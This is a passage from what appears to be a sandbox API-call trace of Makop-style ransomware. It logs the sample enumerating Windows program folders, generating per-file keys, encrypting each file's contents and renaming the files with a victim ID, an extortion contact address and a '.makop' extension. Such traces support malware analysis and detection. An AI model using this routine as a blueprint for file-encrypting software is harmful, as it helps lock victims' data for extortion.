lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0101.003] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.004] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.004] GetProcessHeap () returned 0x48a0000 [0101.004] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.004] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0101.004] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.004] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0101.004] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0101.004] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0101.004] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0101.005] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0101.005] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0101.005] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.005] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.005] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.005] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xeed1e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xeed1e, lpOverlapped=0x0) returned 1 [0101.037] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xeed20, dwBufLen=0xeed20 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xeed20) returned 1 [0101.048] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.048] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xeed20, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xeed20, lpOverlapped=0x0) returned 1 [0101.057] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.057] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xeedf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.057] SetEndOfFile (hFile=0x138) returned 1 [0101.067] GetProcessHeap () returned 0x48a0000 [0101.067] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.067] GetProcessHeap () returned 0x48a0000 [0101.067] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.067] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0101.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.069] CloseHandle (hObject=0x138) returned 1 [0101.069] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0101.070] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0101.070] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0101.070] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR") returned 60 [0101.070] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*") returned 64 [0101.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0101.071] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.071] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0101.071] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0101.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0101.072] GetProcessHeap () returned 0x48a0000 [0101.072] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.072] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.072] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0101.072] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0101.076] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.076] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.076] GetProcessHeap () returned 0x48a0000 [0101.076] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.077] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0101.077] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.077] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0101.077] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0101.077] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0101.077] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0101.077] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0101.078] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0101.078] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.078] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.078] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.078] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe64da, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xe64da, lpOverlapped=0x0) returned 1 [0101.104] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xe64e0, dwBufLen=0xe64e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xe64e0) returned 1 [0101.114] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.114] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe64e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xe64e0, lpOverlapped=0x0) returned 1 [0101.121] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.121] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xe65b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.122] SetEndOfFile (hFile=0x138) returned 1 [0101.130] GetProcessHeap () returned 0x48a0000 [0101.130] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.131] GetProcessHeap () returned 0x48a0000 [0101.131] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.131] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0101.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.133] CloseHandle (hObject=0x138) returned 1 [0101.133] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0101.133] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0101.134] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0101.134] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN") returned 60 [0101.134] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*") returned 64 [0101.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0101.134] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.134] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0101.134] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned 73 [0101.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0101.135] GetProcessHeap () returned 0x48a0000 [0101.135] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.135] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.135] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0101.135] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.136] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.136] GetProcessHeap () returned 0x48a0000 [0101.136] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.136] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0101.136] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.136] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0101.141] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0101.141] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0101.141] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0101.142] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0101.142] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0101.142] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.142] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.142] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.142] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x38200, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x38200, lpOverlapped=0x0) returned 1 [0101.150] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x38200, dwBufLen=0x38200 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x38200) returned 1 [0101.153] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.153] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x38200, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x38200, lpOverlapped=0x0) returned 1 [0101.155] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.155] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x382d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.155] SetEndOfFile (hFile=0x138) returned 1 [0101.165] GetProcessHeap () returned 0x48a0000 [0101.166] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.166] GetProcessHeap () returned 0x48a0000 [0101.166] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.166] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0101.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.168] CloseHandle (hObject=0x138) returned 1 [0101.169] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0101.169] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 73 [0101.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0101.169] GetProcessHeap () returned 0x48a0000 [0101.169] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.169] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.169] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0101.170] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0101.174] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0101.174] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.174] GetProcessHeap () returned 0x48a0000 [0101.174] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.174] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0101.174] CryptDestroyKey (hKey=0x48c7168) returned 1 [0101.175] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: 